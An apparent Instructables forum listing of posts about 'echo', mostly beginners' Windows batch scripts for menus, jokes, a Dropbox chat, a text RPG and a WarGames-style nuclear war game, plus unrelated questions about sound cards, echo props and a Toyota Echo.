why @echo off AND echo??? Answered

If @echo off makes it so CMD doesn't display the command, whats the point if you put "echo" on another line??? And does @echo off effect all the lines unless the have echo on them??

Question by B.F.L.M   |  last reply


Echo independent color

Hello i'm makin a super advanced bat file for my comp noob m8 and it looks really complcated so i was wondering is it possible to color certan linese.g if their was an error it be in red with the rest of the screen in greenI ALREADY know about 'color 0a' but that fills the whole screen. I need a small block or just a line to be different & stand out

Topic by DELETED_simkinggold   |  last reply


Spontaneous echo effect? Answered

I was thinking of the old teddy bears which let kids talk to them and a chip recorded the sound and talked back. That made me think how creepy it would be to people walking through a Halloween haunt if they suddenly heard their own words repeated behind them. A quick search led me to this site: http://www.electronics123.com/s.nl/it.A/id.499/.f?category=2 It seems pretty inexpensive, but you need to hold down a button to record and push another to playback. Any electronic geniuses who could create an ambiance prop that records and plays back ever 10-20 seconds or so? Hopefully one that does not involve elaborate reprogramming. Maybe there is an off the shelf option I am not aware of. That would be welcome too.

Question by justjimAZ   |  last reply


Echo Location / Arduino / Michropones

Hello guys, So, I´d aprecciate if you could give me any ideas about echo location using microphones or ultrasound detectors, the idea is to put three or four sound detectors and put any object in the middle so that way because of the sound I could know where the object is, by using the detectors

Topic by JoséG100   |  last reply


Can I tweak, jimmy, hack or reconfigure my Echo Indigo sound card to sound better than it does now?

but I don't know if I'm getting to use all of it's potential. Is there any way to reconfigure, hack, or tweak this thing for my laptop? I mean I thought, from all the good reviews I read, that I'd have the epitome of good, strong bassy sound, but the sound I get is actually weaker than the DFX plugin I installed months after, at one quarter of the price! How do I use all this card's features to their fullest extent? I mean, I listen to a lot of Lounge, downtempo and drum/bass on an XP, so maybe I'm expecting too much, from this laptop card, I don't know. So, please if there's a way to use this thing to full capacity, either by adjusting something on the card or my laptop, let me know! Thanks, Carlton

Question by    |  last reply


How do I make my instructable popular?

I have an instructable that I believe many people would like, but no body has seen it. How can I make it popular:, tags, categories, and so on. https://www.instructables.com/id/Echo-iPhone-Speaker/ Thanks for the help.

Question by theboygenius   |  last reply


DIY Car Carpet?

Hey, I have a 2000 Toyota Echo with holes in the carpet I've done a fair amount of searching, but I can't find an aftermarket manufacturer that sells pre-molded carpets for this car. Has anyone experience in replacing their car carpet with a custom carpet? How do you compensate for the lack of molding? Thanks, kd.

Topic by killerdark   |  last reply


Alexa skill?

Hi, Have you guys ever thought of creating an Alexa skill? "Alexa ask Instructables how to make a...." In theory anyone could make one by scraping the pages, but I was wondering if you guys had one in flight, or might be interested in helping me create one. By helping me, I'm thinking about a way you guys might know to provide the text/images without having to do a scrape with a third party tool. I look forward to hearing your thoughts. Since Google Home just came out with a way to read out recipes, I think it would be cool to try to have Alexa read out Instructables. There are certainly challenges involved like maintaining a session while doing a project, but perhaps the user could ask Alexa to start at a particular step if needed. Just some initial thoughts. Thanks, Sam

Topic by samd1223 


my batch

I have been playing around with batch coding for a month now and i finaly finished and figered out everything i need to do to get this to work. so here it is.@ECHO OFFcolor 0a:topecho -----------------------------------------------echo type the number 1 for a number guessing gameecho type the number 2 for a calculatorecho type the number 3 to see a dumb thing a made up.echo type the number 4 to exit.echo this is a free-to-use programecho give all credit to dsman1echo do not edit with out dsman1's consentecho -----------------------------------------------set variable1=1set variable2=yset variable3=nset variable4=3set variable5=2set variable7=0set variable9=4set /p udefine=if %udefine%==%variable1% (goto game)if %udefine%==%variable5% (goto calc) if %udefine%==%variable4% (goto starwars)if %udefine%==%variable9% (exit):calcecho hi and wellcome to calcualtorecho credit for programing goes to dsman1echo -----------------------------------------------echo mutiply = *echo divide = /echo add = +echo subtract= -echo parenthesis can be in your problems.:loopecho -----------------------------------------------SET /p UDefine=echo =SET /a UDefine=%UDefine%ECHO %UDefine%echo math is funECHO.echo again? y/nset /p udefine=if %udefine%==%variable2% (goto loop) else (goto top ):game@ECHO OFFSET /a GuessNum=0SET /a Answer=%random%ECHO Guess what Number I'm thinking of.:RetrySET /p Guess=IF %Guess% LSS %Answer% ECHO My Number is Higher.IF %Guess% GTR %Answer% ECHO My Number is Lower.IF %Guess%==%Answer% GOTO ENDECHO.SET /a GuessNum=%GuessNum%+1GOTO Retry:ENDECHO You are Correct! The Answer was %Answer%ECHO It took %GuessNum% Guesses.ECHO.echo play again? y/nset /p udefine=if %udefine%==%variable2% (goto game) else (goto top ):starwarsecho dont press a buttonpauseecho ok pleasepauseecho please with suger on toppauseecho ok come on nowpauseecho you are just trying to irritate mepauseecho and it's working...pauseecho i will blow you up in...pauseecho 5pause echo 4pause echo 3pauseecho 2pause echo 1pause echo boom!!!pauseecho hahapauseecho your dead!pauseecho try to push a button now!pauseecho darnpauseecho echo / you will die mortal \echo / mahaha \echo / \echo pauseset /a variable6=500:heheset /a variable6=%variable6%-1echo hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaif %variable6%==0 goto :hahagoto hehe:hahaecho play again? y/nset /p udefine=if %udefine%==%variable2% (goto starwars) else (goto top )copy that and paste it into note pad. save it with .bat at the end. save it to your desktop and then click on it.this is what the code looks like. me copying the code messed it up. so please just download the .exe verson[www.dsman1.webs.com/calc.exe download]

Topic by dsman195276   |  last reply


Batch programming: this doesn't work?

Ok, so I've been making a program that tells jokes (just as a test). What I'm trying doesn't work for some reason, and I don't know why. Can you tell me how to fix this, or give me a new code that does the same thing but without a separate .txt file? Here's the code: @echo off title Joke Test color 0a :joke set /a joke=%random% %% 6+1 if %joke%==1 do ( cls echo. echo           What is the stupidest animal in the jungle? pause > nul echo. echo                       The polar bear. pause > nul goto menu ) if %joke%==2 do ( cls echo. echo            Where did Mary go after the explosion? pause > nul echo. echo                       Everywhere!                      pause > nul goto menu ) if %joke%==3 do ( cls echo. echo                  Knock knock. pause > nul echo. echo                  Who's there? pause > nul echo. echo                  Europe. pause > nul echo. echo                  Europe who? pause > nul echo. echo                  No ur a poo! pause > nul goto menu ) if %joke%==4 do ( cls echo. echo       A man walks into a zoo. The only animal there is a dog. pause > nul echo. echo                       It's a shitzhu. pause > nul goto menu ) if %joke%==5 do ( cls echo. echo           What do you call a kid with facial deformation? pause > nul echo. echo                           Names. pause > nul goto menu ) if %joke%==6 do ( cls echo. echo           What did the pirate say on his 80th birthday? pause > nul echo. echo                          Aye matey! pause > nul goto menu )

Question by TheBigRoosterYo   |  last reply


Chat

Hellow everyone, i kinda run into this site, and this group, and i made an acc as you can see :3 i kinda made a chat today in batch, pretty simple and using Dropbox, but i haz some ideas with powershell and using an FTP. but here is a pic of how it works and the code ofcorse! code client: @echo off SET name=%username% color 0a :main cls echo ############################# echo #welcome to the dropbox chat# echo ############################# echo. echo Make your sellection bellow! echo. echo [1]-Collor menu echo [2]-Chat name echo [3]-Chatroom echo [4]-Info (waar normaal nooit iemand kijkt) echo name: %name% echo. :sellect1 set /p C=Sellection: if "%C%"=="1" goto collor if "%C%"=="2" goto name if "%C%"=="3" goto chat1 if "%C%"=="4" goto info if Else goto main /goto main :chat1 echo %name% just joined the chat>>chat.txt goto chat :collor cls echo ############ echo #COLLORS!!!# echo ############ echo. echo pick a collor echo. echo [1]- White echo [2]- Green echo [3]- Red echo [4]- Purple echo [5]- Blue echo [6]- Yellow echo. echo [0]- Main menu echo. :sellect2 set /p C=Collor: if "%C%"=="1" color F if "%C%"=="2" color A if "%C%"=="3" color C if "%C%"=="4" color D if "%C%"=="5" color B if "%C%"=="6" color E if "%C%"=="0" goto main goto collor :name cls echo ############### echo #create a name# echo ############### echo. echo Type in your name (please dont use spacebar) echo. :sellect3 set /p C=Name: SET name=%C% goto main :chat cls echo ######## echo #-CHAT-# echo ######## echo. echo Every msg you type will be added in the chat.txt file, echo so chek on that file for the chat. echo. :sellect3 set /p C=: echo [%time%] %name%:%C%>>chat.txt if "%C%"=="/clear" goto del if "%C%"=="/afk" echo %name% is currently afk>>chat.txt if "%C%"=="/back" echo %name% is no longer afk>>chat.txt if "%C%"=="porn" echo %name% is a perv>>chat.txt goto chat :del del chat.txt goto chat code reader: @echo off :1 cls type chat.txt PING -n 2 127.0.0.1>nul goto 1 thats a bit it, kinda simple i know, but its fun to use and fun to make, feedback is always welcome! ^__^ have a great day/night bye!

Topic by dwngrt   |  last reply


Spammy Batch File

Here is the code for a spammy batch file. @echo off echo This batch file is made possible by the divine blessing of Monty Python! pause>nul echo Spam Spam Spam Spam echo Spam Spam! A: echo Lovely Spam! echo Beautiful Span! echo Lovely Spam! echo Beautiful Spam! goto a

Topic by dla888   |  last reply


Why Won't my Batch Game Not work?

I made it so some parts got to the section area Finish 1 Which everytime a goto command goes to it the cmd prompt crashes and the batch game wont work. [Finish 1 is at the bottom] @echo off title Mystic color 5d :Password echo Enter Your Username and Password echo. set /p user=Enter UserID: set /p pass=Enter Password: if /i %user%==PerfectSpike1337 (     if /i %pass%==ABCDEFG123456 goto Naming) if not "%input%" == ABCDEFG123456 goto Incorrect :Incorrect cls echo Wrong password, Please ask Kellen McDonald for the Password. pause >nul goto Password :Naming cls echo Please enter an avatar name of your desire. echo. set /p uname= echo. echo Welcome to Mystic RPG %uname% echo. echo Press 1 to get started echo Press 2 to exit set /p input=Enter: if "%input%" == "1" goto :Getting Started if "%input%" == "2" exit if "%input%" == "" goto Naming if "%input%" == "Admin Code 123" goto Stab 1 :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Naming :A cls echo You were injured and sent to the hospital. Don't try that again. pause >nul ping localhost -n 2 >nul cls echo Waking Up. ping localhost -n 2 >nul cls echo Waking Up.. ping localhost -n 2 >nul cls echo You have woken up, the nurse greets you. pause >nul echo. echo Welcome back %uname%, press 1 to restart at the bank. set /p input=Enter: if "%input%" == "1" goto :Bank if "%input%" == "" goto A :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto A :Getting Started echo You will recieve your free gold to get started %uname%, first you must walk to the echo bank. pause >nul echo Walking. ping localhost -n 2 >nul cls echo Walking.. ping localhost -n 2 >nul cls echo Walking... ping localhost -n 2 >nul cls echo Choose what you want. echo 1. Enter Bank echo 2. Rob Bank set /p input=Enter: if "%input%" == "1" goto Bank if "%input%" == "2" goto A if "%input%" == "" goto Getting Started pause >nul :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Getting Started :Bank echo You have arrived at the Bank Of Gen Town! pause >nul echo "Here's your money %uname%" pause >nul echo Grabbing Money. ping localhost -n 2 >nul cls echo Grabbing Money.. ping localhost -n 2 >nul cls echo You Have recieved 500 GenDol! pause >nul cls echo Press 1 to begin your next task! set /p input=Enter: if "%input%" == "1" goto Sword Shopping if "%input%" == "" goto Bank :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Bank :Sword Shopping echo You now have enough GenDol for an iron sword at the GenMarket! echo. echo You may now walk to the Market. pause >nul cls echo Press 1 to walk to the market. set /p input=Enter: if "%input%" == "1" goto Shopping if "%input%" == "" goto Sword Shopping :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Sword Shopping :Shopping echo You will now start walking to the Market. pause >nul echo Walking. ping localhost -n 2 >nul cls echo Walking.. ping localhost -n 2 >nul cls echo Walking... ping localhost -n 2 >nul cls echo Enter 1 to enter the market! set /p input=Enter: if "%input%" == "1" goto Market if "%input%" == "" goto Shopping :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Shopping :Market echo "Welcome to the GenMarket %uname%!" pause >nul echo Here is some of our items you can buy! echo. echo 1. Iron Sword [500 GenDol, 10 attack] echo 2. Golden Sword [750 GenDol, 15 attack] echo 3. Dark Matter Sword [5000 GenDol, 100 attack] echo. echo Enter the number of the sword you want to buy! set /p input=Enter: if "%input%" == "1" goto Iron Sword if "%input%" == "2" goto Need GenDol if "%input%" == "3" goto Need GenDol if "%input%" == "" goto Market :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Market :Need GenDol echo You don't have enough GenDol for that! echo Come back later with more GenDol! echo. echo Enter 1 to return to the market screen. set /p input=Enter: if "%input%" == "1" goto Market if "%input%" == "" goto Need GenDol :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Need GenDol :Iron Sword echo You have now bought the Iron Sword and is equipped! echo. echo You may now begin your journey! echo. echo Press 1 to start your journey! set /p input=Enter: if "%input%" == "1" goto Road 1 if "%input%" == "" goto Iron Sword :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Iron Sword :Road 1 echo You see a Bandit! [50 HP] echo. echo What will you do? echo. echo 1. Attack The Bandit echo 2. Sneak By The Bandit set /p input=Enter: if "%input%" == "1" goto Battle 1 if "%input%" == "2" goto Get Spotted :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Road 1 :Battle 1 cls echo You have challenged the Bandit to a duel! echo. echo Choose what you will like to do! echo. echo [100 STAMINA LEFT] echo 1. Swing (5 STAMINA) [10 Damage] echo 2. Stab (10 STAMINA) [15 Damage] set /p input=Enter: if "%input%" == "1" goto Swing if "%input%" == "2" goto Stab if "%input%" == "" goto Battle 1 :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Battle 1 :Get Spotted echo The Bandit has spotted you try to sneak by him! echo. echo The Bandit has challenged you to a duel, prepare to battle! echo. echo Press 1 to enter the duel! set /p input=Enter: if "%input%" == "1" goto Battle 1 if "%input%" == "" goto Get Spotted :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Get Spotted :Stab 1 echo You lunge at the Bandit! echo Your attack hit! echo The attack damaged the Bandit critically! echo. echo [The Bandit Loses 30 HP] echo. echo The Bandit has lunged at you! echo [You Have Lost 10 HP, 90 HP Left] echo. echo Enter 1 to finish The Bandit! set /p input=Enter: if "%input%" == "1" goto Finish 1 if "%input%" == "" goto Stab :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Stab :Swing 1 echo Your attack hit! echo The attack damaged the Bandit critically! echo. echo [The Bandit Loses 25 HP] echo. echo The Bandit has lunged at you! echo [You Have Lost 10 HP, 90 HP Left] echo. echo Enter 1 to finish The Bandit! set /p input=Enter: if "%input%" == "1" goto Finish 1 if "%input%" == "" goto Swing :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Swing :Finish 1 echo You have finished off the Bandit! echo. echo You have recieved 25 EXP and 65 GenDol! echo Your current status is [25|100 EXP] echo. echo You have recieved 10 extra HP for your first win! echo You are now at full HP! [100|100 HP] echo. echo Would you like to continue down this trail or camp echo for the night? [Enter the Numbers 1-3] echo. echo 1. Continue down the trail echo 2. Camp The Night echo 3. View Inventory set /p input=Enter: if "%input%" == "1" goto Trail 1 if "%input%" == "2" goto Camp 1 if "%input%" == "3" goto Inventory 1 :Bug Fix echo No cheating! pause >nul echo Prepare for teleportation back! ping localhost -n 2 >nul echo 1.. ping localhost -n 2 >nul cls echo 2.. ping localhost -n 2 >nul cls echo Go! cls goto Finish 1 :Trail 1 pause >nul :Camp 1 pause >nul :Inventory 1 pause >nul

Question by KelM5   |  last reply


war games simulation batch file

@echo off title thermonuclear war color 0a :top echo would you like to play a game ? set /p ans= if not defined ans  (goto please ) if %ans%==yes (goto yes ) if %ans% NEQ yes (goto exit ) :please cls echo please type a responce echo (no caps) pause goto top :exit exit :yes cls echo welcome what is your name? set /p name= if not defined name ( goto please ) if %name% EQU mythbatcher (goto russialoser ) cls echo welcome %name% echo. echo thermonuclear war simulator activated echo. echo %name% you have the first move echo. echo who would you like to fight for? echo 1=America   2=Russia set /p side= if not defined side (goto please ) if %side%==2 (goto america ) if %side%==1 (goto russia ) :america cls echo %name% you are fighting for Russia                    echo.                           America - defcon 5 echo you have the first move echo how many icmb's would you like to fire 1~5 set /p num= if %num%==1 (goto one ) if %num%==2 (goto two ) if %num%==3 (goto three ) if %num%==4 (goto four ) if %num%==5 (goto five ) :one cls echo icbm fired at New Yourk City                            America defcon 4 echo estimated time untill  impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto america 2 :two    cls                              echo two icbm's fired at New York City New York and Los angles Califorina                  echo time untill impact 30 seconds                                       America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :three cls echo three icbm's fired at New York City New York and Losangles Califorina and Seatle Washington echo time untill impact 30 seconds                                        America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :four cls echo four icbm's fired at New York City New York and Losangles Califorina and Seatle Washington and Pitsburg Penslevania echo time untill impact 30 seconds                                America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :five cls echo five icbm's fired at New York City New York and Losangles Califorina and Seatle Washington and Pitsburg Penslevania and Boston Masetucetts echo time untill impact 30 seconds                             America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :america2 cls echo %name% you have another move                      America - defcon 4 echo. echo how many icmb's would you like to fire 1~2 set /p num= if %num%==1 (goto one1 ) if %num%==2 (goto two1 ) :one1 cls echo one icbm fired at Washington D.C. echo time untill impact 30 seconds                       America - defcon 3 ping localhost -n 4 >Nul cls echo impact pause goto america3 :two1 cls echo two icbm's fired at Washington D.C. and Miami Florida      echo  time untill impact 30 seconds          America - defcon 3 ping localhost -n 4 > Nul echo impact pause goto america3 :america3 cls echo %name% you have another turn echo i can not fire untill i reach defcon1 echo. echo you may now fire a icbm or a nuclear war head echo 1-icbm  2-nuclear war head set /p wepon= if not defined wepon ( goto please ) if %wepon%==1 (goto icbm ) if %wepon%==2 ( goto nuc ) :icbm cls echo one icbm fired at  the Smithsonian archive bunker echo time untill impact 30 seconds                    America - defcon 2 cls ping localhost -n 4 > Nul echo impact pause goto defcon1 :nuc cls echo one nuclear war head fired at the US Capital          America - defcon 2 echo time untill impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto defcon1 :defcon1 cls echo. echo America totlaly devestated echo. echo America - defcon 1 echo. echo time untill impact 30 seconds echo. echo you may wait untill impact or fire your remaning war heads echo    wait               fire set /p desion= if not defined desion (goto please ) if %desion%==wait (goto Russiawait ) if %desion%==fire ( goto Russiafire ) :Russiawait cls echo time untill impact of american icbm's 10 seconds ping localhost -n 4 > Nul cls echo impact echo all remaning defences destroyed echo total devestation is imenent pause goto end :Russsiafire cls echo remaning misles fired echo time untill impact 30 seconds ping localhost -n 4 > Nul echo impact pause goto Russiawait :end cls echo. echo *--------------------------------------------------------------* echo      GAME OVER echo *--------------------------------------------------------------* echo. echo game results echo. echo AMERICA - LOSE echo. echo RUSSIA - LOSE echo. echo total result NO WINNER echo. echo an interisting game, echo the only way to win is not to play. echo. pause goto top2 :top2 cls echo would you like to play again? echo. set /p gameagain= if not defined gameagain (goto please ) if %gameagain% EQU yes (goto top ) if %gameagain% NEQ yes (goto exit ) :russia cls echo %name% you are fighting for america                    echo.                    Russia - defcon 5 echo you have the first move echo how many icmb's would you like to fire 1~5 set /p num= if %num%==1 (goto one1 ) if %num%==2 (goto two2 ) if %num%==3 (goto three3 ) if %num%==4 (goto four4 ) if %num%==5 (goto five5 ) :one1 cls echo icbm fired at Moscow                       Russia - defcon 4 echo estimated time untill  impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto russia 2 :two2    cls                              echo two icbm's fired at Minsk and Moscow          echo time untill impact 30 seconds                                    Russia - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :three3 cls echo three icbm's fired at Minsk and Moscow and Leningrad echo time untill impact 30 seconds                                        America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :four4 cls echo four icbm's fired at Minsk and Moscow and Leningrad and Kiev echo time untill impact 30 seconds                                America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :five5 cls echo five icbm's fired at Minsk and Moscow and Leningrad and Kiev and Tashkent echo time untill impact 30 seconds                            Russia -  defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :russia2 cls echo %name% you have another move                      Russia - defcon 4 echo. echo how many icmb's would you like to fire 1~2 set /p num= if %num%==1 (goto one11 ) if %num%==2 (goto two11 ) :one11 cls echo one icbm fired at Baku   echo time untill impact 30 seconds                       Russia - defcon 3 ping localhost -n 4 >Nul cls echo impact pause goto russia3 :two11 cls echo two icbm's fired at  Baku and Kharkov echo  time untill impact 30 seconds         Russia - defcon 3 ping localhost -n 4 > Nul echo impact pause goto russia3 :russia3 cls echo %name% you have another turn echo i can not fire untill i reach defcon1 echo. echo you may now fire a icbm or a nuclear war head echo 1-icbm  2-nuclear war head set /p wepon1= if not defined wepon1 ( goto please ) if %wepon1%==1 (goto icbm1 ) if %wepon1%==2 ( goto nuc1 ) :icbm1 cls echo one icbm fired at  Gorki echo time untill impact 30 seconds                    Russia - defcon 2 cls ping localhost -n 4 > Nul echo impact pause goto defcon1r :nuc1 cls echo one nuclear war head fired at Novosibrisk         Russia - defcon 2 echo time untill impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto defcon1r :defcon1r cls echo. echo Russia totlaly devestated echo. echo Russia - defcon 1 echo. echo time untill impact 30 seconds echo. echo you may wait untill impact or fire your remaning war heads echo    wait               fire set /p desion1= if not defined desion1(goto please ) if %desion1%==wait (goto Americawait ) if %desion1%==fire ( goto Americafire ) :Americawait cls echo 30 seconds untill Russian icbm impact ping localhost -n 4 > Nul echo impact pause goto end :Americafire cls echo all remanig icbm's fired at Russian states echo time untill impact 30 seconds ping localhost -n 4 > Nul cls goto Americawait exit :russialoser cls echo welcome mythbatcer you are fighting for america                    echo.                    Russia - defcon 5 echo you have the first move echo how many icmb's would you like to fire 1~5 set /p num= if %num%==1 (goto one11 ) if %num%==2 (goto two21 ) if %num%==3 (goto three31 ) if %num%==4 (goto four41 ) if %num%==5 (goto five51 ) :one11 cls echo icbm fired at Moscow                       Russia - defcon 4 echo estimated time untill  impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto russia 2m :two21   cls                              echo two icbm's fired at Minsk and Moscow          echo time untill impact 30 seconds                                    Russia - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :three31 cls echo three icbm's fired at Minsk and Moscow and Leningrad echo time untill impact 30 seconds                          America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :four41 cls echo four icbm's fired at Minsk and Moscow and Leningrad and Kiev echo time untill impact 30 seconds                                America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :five51 cls echo five icbm's fired at Minsk and Moscow and Leningrad and Kiev and Tashkent echo time untill impact 30 seconds                            Russia -  defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :russia2m cls echo %name% you have another move                      Russia - defcon 4 echo. echo how many icmb's would you like to fire 1~2 set /p num= if %num%==1 (goto one111 ) if %num%==2 (goto two111 ) :one111 cls echo one icbm fired at Baku   echo time untill impact 30 seconds                       Russia - defcon 3 ping localhost -n 4 >Nul cls echo impact pause goto russia3m :two111 cls echo two icbm's fired at  Baku and Kharkov echo  time untill impact 30 seconds         Russia - defcon 3 ping localhost -n 4 > Nul echo impact pause goto russia3m :russia3m cls echo %name% you have another turn echo i can not fire untill i reach defcon1 echo. echo you may now fire a icbm or a nuclear war head echo 1-icbm  2-nuclear war head set /p wepon11= if not defined wepon11 (goto please ) if %wepon11%==1 (goto explosionboom ) if %wepon11%==2 (goto explosion ) :explosionboom cls echo one icbm fired at  Gorki echo time untill impact 30 seconds                    Russia - defcon 2 ping localhost -n 4 > Nul echo impact pause goto defcon1m :explosion cls echo one nuclear war head fired at Novosibrisk         Russia - defcon 2 echo time untill impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto defcon1m :defcon1m cls echo. echo Russia totlaly devestated echo. echo Russia - defcon 1 echo. echo time untill impact 30 seconds echo. echo you may wait untill impact or fire your remaning war heads echo    wait               fire set /p desion11= if not defined desion11(goto please ) if %desion11%==wait (goto waitforboom ) if %desion11%==fire ( goto firethosebooms ) :waitforboom cls echo 30 seconds untill Russian icbm impact ping localhost -n 4 > Nul echo impact pause goto ENDM :firthosebooms cls echo all remanig icbm's fired at Russian states echo time untill impact 30 seconds ping localhost -n 4 > Nul cls goto wait22 :endm cls echo. echo American scientest have descoverd the [x-wav] lazar echo this lazar can fit into a small simple packege and emitts no radiation echo The [x-wav] lazar can burn an area of sixty thousand miles across echo in under an  hour echo We have assembled an army of U-2 Dragon ladies outfitted with this revolutionary technology echo We will strik on your command echo. echo type strik to fire the  [x-wav]. This is our finest hour, America lies in your hands now echo good luck %name% echo. set /p command= if not defined command (goto please ) if %command% EQU strik (goto imposoble ) if %command%==wait (goto end ) if %command%==fire (goto imposoble ) :please1 cls echo incorrect responce pause goto endm :imposoble cls echo [X-WAV] SUCCESFUL echo You have won!!!!!!!!!!!! echo. echo *--------------------------------------------------------------* echo      GAME OVER         CONGRADULATIONS echo *--------------------------------------------------------------* echo. echo game results echo. echo AMERICA - !!!!!WIN!!!!! echo. echo RUSSIA - LOSE echo. echo total result YOU ARE THE WINNER echo. echo an interisting game, echo the only way to win is not to play. echo. echo or is it echo. echo yu have unlocked a "secret" echo in TBMS V3.0 type secret in the main menu echo somthing interesting migh happen echo. pause goto top2  

Topic by Laserman595   |  last reply


war games simulation batch file

This is a batch file that mocks the movie war games i only used simple commands but it still took about a week to complet post where you think it can be improved i have already improved the impact display but havent posted it yet @echo off title thermonuclear war color 0a :top echo would you like to play a game ? set /p ans= if not defined ans  (goto please ) if %ans%==yes (goto yes ) if %ans% NEQ yes (goto exit ) :please cls echo please type a responce echo (no caps) pause goto top :exit exit :yes cls echo welcome what is your name? set /p name= if not defined name ( goto please ) if %name% EQU mythbatcher (goto russialoser ) cls echo welcome %name% echo. echo thermonuclear war simulator activated echo. echo %name% you have the first move echo. echo who would you like to fight for? echo 1=America   2=Russia set /p side= if not defined side (goto please ) if %side%==2 (goto america ) if %side%==1 (goto russia ) :america cls echo %name% you are fighting for Russia                    echo.                           America - defcon 5 echo you have the first move echo how many icmb's would you like to fire 1~5 set /p num= if %num%==1 (goto one ) if %num%==2 (goto two ) if %num%==3 (goto three ) if %num%==4 (goto four ) if %num%==5 (goto five ) :one cls echo icbm fired at New Yourk City                            America defcon 4 echo estimated time untill  impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto america 2 :two    cls                              echo two icbm's fired at New York City New York and Los angles Califorina                  echo time untill impact 30 seconds                                       America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :three cls echo three icbm's fired at New York City New York and Losangles Califorina and Seatle Washington echo time untill impact 30 seconds                                        America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :four cls echo four icbm's fired at New York City New York and Losangles Califorina and Seatle Washington and Pitsburg Penslevania echo time untill impact 30 seconds                                America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :five cls echo five icbm's fired at New York City New York and Losangles Califorina and Seatle Washington and Pitsburg Penslevania and Boston Masetucetts echo time untill impact 30 seconds                             America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :america2 cls echo %name% you have another move                      America - defcon 4 echo. echo how many icmb's would you like to fire 1~2 set /p num= if %num%==1 (goto one1 ) if %num%==2 (goto two1 ) :one1 cls echo one icbm fired at Washington D.C. echo time untill impact 30 seconds                       America - defcon 3 ping localhost -n 4 >Nul cls echo impact pause goto america3 :two1 cls echo two icbm's fired at Washington D.C. and Miami Florida      echo  time untill impact 30 seconds          America - defcon 3 ping localhost -n 4 > Nul echo impact pause goto america3 :america3 cls echo %name% you have another turn echo i can not fire untill i reach defcon1 echo. echo you may now fire a icbm or a nuclear war head echo 1-icbm  2-nuclear war head set /p wepon= if not defined wepon ( goto please ) if %wepon%==1 (goto icbm ) if %wepon%==2 ( goto nuc ) :icbm cls echo one icbm fired at  the Smithsonian archive bunker echo time untill impact 30 seconds                    America - defcon 2 cls ping localhost -n 4 > Nul echo impact pause goto defcon1 :nuc cls echo one nuclear war head fired at the US Capital          America - defcon 2 echo time untill impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto defcon1 :defcon1 cls echo. echo America totlaly devestated echo. echo America - defcon 1 echo. echo time untill impact 30 seconds echo. echo you may wait untill impact or fire your remaning war heads echo    wait               fire set /p desion= if not defined desion (goto please ) if %desion%==wait (goto Russiawait ) if %desion%==fire ( goto Russiafire ) :Russiawait cls 